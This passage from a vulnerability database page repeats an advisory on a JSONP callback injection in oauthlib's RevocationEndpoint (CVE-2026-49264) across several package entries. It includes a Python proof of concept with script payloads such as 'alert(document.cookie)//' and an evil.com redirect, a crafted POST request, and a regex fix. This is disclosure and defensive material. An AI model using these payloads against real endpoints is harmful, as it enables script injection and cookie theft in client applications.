def client_authentication_required(self, request, *a, **kw): return True
def authenticate_client(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return False
class PassValidator(RequestValidator):
"""Auth passes -> triggers success response path (lines 81-82)."""
def client_authentication_required(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return True
def revoke_token(self, token, token_type_hint, request, *a, **kw): pass
payloads = [
"alert(document.cookie)//",
"window.location='https://evil.com/'//",
"eval('malicious')//",
]
# --- Error path (401) ---
print("Error path (enable_jsonp=True, auth fails):")
ep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_fail.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Success path (200) ---
print("\nSuccess path (enable_jsonp=True, revocation succeeds):")
ep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_pass.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Control (default: enable_jsonp=False) ---
print("\nControl (enable_jsonp=False, default):")
ep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)
_, body, status = ep_safe.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body="token=x&callback=alert(1)//")
assert "alert" not in body, "Payload should not be present"
print(f" [{status}] {body}")
print("\nAll assertions passed.")
Expected output:
Error path (enable_jsonp=True, auth fails):
[401] Content-Type: application/json Body: alert(document.cookie)//({"error": "invalid_client"});
[401] Content-Type: application/json Body: window.location='https://evil.com/'//({"error": "invalid_client"});
[401] Content-Type: application/json Body: eval('malicious')//({"error": "invalid_client"});
Success path (enable_jsonp=True, revocation succeeds):
[200] Content-Type: (none) Body: alert(document.cookie)//();
[200] Content-Type: (none) Body: window.location='https://evil.com/'//();
[200] Content-Type: (none) Body: eval('malicious')//();
Control (enable_jsonp=False, default):
[401] {"error": "invalid_client"}
All assertions passed.
Both paths reflect the attacker's payload verbatim into the response body.
Impact
Any oauthlib-based authorization server that enables JSONP on the revocation endpoint (enable_jsonp=True) returns attacker-controlled JavaScript in its response body.
Any page or application that loads this endpoint's response as JSONP and exposes attacker influence over the callback parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.
The JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.
Affected versions: oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit da775de). The enable_jsonp gate was added in 2014 (commit b85f89a) but no validation of the callback value was ever added.
Suggested fix
Validate the callback parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:
import re
# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated
JSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')
# In create_revocation_response(), before using request.callback:
if self.enable_jsonp and request.callback:
if not JSONP_CALLBACK_PATTERN.match(request.callback):
request.callback = None
This is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like package.hello_world are accepted, while blocking payloads like alert(document.cookie)//.
As a secondary hardening measure, when JSONP is enabled, the response should set Content-Type: application/javascript (not application/json or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns application/json.
Alternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the enable_jsonp option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "oauthlib",
"resource_purl": "pkg:pypi/oauthlib@4.0.0",
"upstream_fixed_in": "4.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "mcp-atlassian",
"purl": "pkg:brew/mcp-atlassian"
},
"ranges": [
{
"events": [
{
"introduced": "0.11.9"
},
{
"fixed": "0.23.1_1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/oauthlib@4.0.0",
"name": "oauthlib",
"resource": "oauthlib",
"strategy": "registry",
"subject_version": "4.0.0"
}
]
},
"details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib\u0027s `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = \u0027{}({});\u0027.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + \u0027();\u0027\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`\u0027s context, not the auth server\u0027s context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application\u0027s origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location=\u0027https://evil.com/\u0027//\",\n \"eval(\u0027malicious\u0027)//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location=\u0027https://evil.com/\u0027//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval(\u0027malicious\u0027)//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location=\u0027https://evil.com/\u0027//();\n [200] Content-Type: (none) Body: eval(\u0027malicious\u0027)//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker\u0027s payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint\u0027s response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib\u0027s client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page\u0027s DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r\u0027^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$\u0027)\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.",
"id": "BREW-mcp-atlassian-CVE-2026-49264",
"modified": "2026-10-14T09:28:52Z",
"published": "2026-09-30T20:03:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49264"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/951"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation",
"upstream": [
"GHSA-hj66-6f7g-4r5v",
"CVE-2026-49264",
"PYSEC-2026-4113"
]
}
BREW-MCP-GOOGLE-SHEETS-C… (GHSA-HJ66-6F7G-4R5V)
Vulnerability from osv_homebrew – Published: 2026-09-30 18:52 – Updated: 2026-10-14 08:53 – Source websiteSummary
When enable_jsonp=True, oauthlib's RevocationEndpoint reflects the user-supplied callback parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence callback.
Details
The issue is in oauthlib/oauth2/rfc6749/endpoints/revocation.py.
When enable_jsonp=True is passed to the RevocationEndpoint constructor, two code paths wrap the response body using the user-supplied request.callback parameter:
# Error response path (line 72-73):
if self.enable_jsonp and request.callback:
response_body = '{}({});'.format(request.callback, response_body)
# Success response path (line 81-82):
if self.enable_jsonp and request.callback:
response_body = request.callback + '();'
The request.callback value comes from HTTP request parameters, either the query string or POST body, via the Request class in oauthlib/common.py (lines 394-395), which merges query and body parameters into _params. Any value the client sends as callback is used verbatim.
There is no validation of any kind on the callback parameter: - No check that it is a valid JavaScript identifier - No whitelist of allowed characters - No escaping or sanitization
A safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching ^[a-zA-Z_$][a-zA-Z0-9_$.]*$). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.
How the injection works:
An attacker sends a revocation request with a crafted callback value:
POST /revoke HTTP/1.1
Content-Type: application/x-www-form-urlencoded
token=anything&callback=alert(document.cookie)//
The server responds with:
alert(document.cookie)//({"error": "invalid_client"});
This is syntactically valid JavaScript. alert(document.cookie) executes as a statement, and // comments out the rest of the line. The attacker has full control over the code that appears before the //.
Execution context and attack surface:
JSONP works by having a browser load a remote script via <script src="...">. The loaded script executes in the origin of the including page, not the remote server. This means a <script src="https://auth.example.com/revoke?token=x&callback=payload"> tag on evil.com would execute the payload in evil.com's context, not the auth server's context.
The impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes <script src> pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.
Note: the enable_jsonp parameter defaults to False, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes prepare_token_revocation_request() with an explicit callback parameter (oauthlib/oauth2/rfc6749/parameters.py, line 174), and the documentation shows JSONP revocation as a use case (oauthlib/oauth2/rfc6749/clients/base.py, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (test_revocation_endpoint.py, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.
PoC
Requirements: Python 3.x with oauthlib installed (pip install oauthlib).
from oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint
from oauthlib.oauth2.rfc6749.request_validator import RequestValidator
class FailValidator(RequestValidator):
"""Auth fails -> triggers error response path (lines 72-73)."""
def client_authentication_required(self, request, *a, **kw): return True
def authenticate_client(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return False
class PassValidator(RequestValidator):
"""Auth passes -> triggers success response path (lines 81-82)."""
def client_authentication_required(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return True
def revoke_token(self, token, token_type_hint, request, *a, **kw): pass
payloads = [
"alert(document.cookie)//",
"window.location='https://evil.com/'//",
"eval('malicious')//",
]
# --- Error path (401) ---
print("Error path (enable_jsonp=True, auth fails):")
ep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_fail.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Success path (200) ---
print("\nSuccess path (enable_jsonp=True, revocation succeeds):")
ep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_pass.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Control (default: enable_jsonp=False) ---
print("\nControl (enable_jsonp=False, default):")
ep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)
_, body, status = ep_safe.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body="token=x&callback=alert(1)//")
assert "alert" not in body, "Payload should not be present"
print(f" [{status}] {body}")
print("\nAll assertions passed.")
Expected output:
Error path (enable_jsonp=True, auth fails):
[401] Content-Type: application/json Body: alert(document.cookie)//({"error": "invalid_client"});
[401] Content-Type: application/json Body: window.location='https://evil.com/'//({"error": "invalid_client"});
[401] Content-Type: application/json Body: eval('malicious')//({"error": "invalid_client"});
Success path (enable_jsonp=True, revocation succeeds):
[200] Content-Type: (none) Body: alert(document.cookie)//();
[200] Content-Type: (none) Body: window.location='https://evil.com/'//();
[200] Content-Type: (none) Body: eval('malicious')//();
Control (enable_jsonp=False, default):
[401] {"error": "invalid_client"}
All assertions passed.
Both paths reflect the attacker's payload verbatim into the response body.
Impact
Any oauthlib-based authorization server that enables JSONP on the revocation endpoint (enable_jsonp=True) returns attacker-controlled JavaScript in its response body.
Any page or application that loads this endpoint's response as JSONP and exposes attacker influence over the callback parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.
The JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.
Affected versions: oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit da775de). The enable_jsonp gate was added in 2014 (commit b85f89a) but no validation of the callback value was ever added.
Suggested fix
Validate the callback parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:
import re
# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated
JSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')
# In create_revocation_response(), before using request.callback:
if self.enable_jsonp and request.callback:
if not JSONP_CALLBACK_PATTERN.match(request.callback):
request.callback = None
This is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like package.hello_world are accepted, while blocking payloads like alert(document.cookie)//.
As a secondary hardening measure, when JSONP is enabled, the response should set Content-Type: application/javascript (not application/json or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns application/json.
Alternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the enable_jsonp option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "oauthlib",
"resource_purl": "pkg:pypi/oauthlib@4.0.0",
"upstream_fixed_in": "4.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "mcp-google-sheets",
"purl": "pkg:brew/mcp-google-sheets"
},
"ranges": [
{
"events": [
{
"introduced": "0.5.1"
},
{
"fixed": "0.6.3_5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/oauthlib@4.0.0",
"name": "oauthlib",
"resource": "oauthlib",
"strategy": "registry",
"subject_version": "4.0.0"
}
]
},
"details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib\u0027s `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = \u0027{}({});\u0027.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + \u0027();\u0027\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`\u0027s context, not the auth server\u0027s context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application\u0027s origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location=\u0027https://evil.com/\u0027//\",\n \"eval(\u0027malicious\u0027)//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location=\u0027https://evil.com/\u0027//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval(\u0027malicious\u0027)//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location=\u0027https://evil.com/\u0027//();\n [200] Content-Type: (none) Body: eval(\u0027malicious\u0027)//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker\u0027s payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint\u0027s response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib\u0027s client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page\u0027s DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r\u0027^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$\u0027)\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and 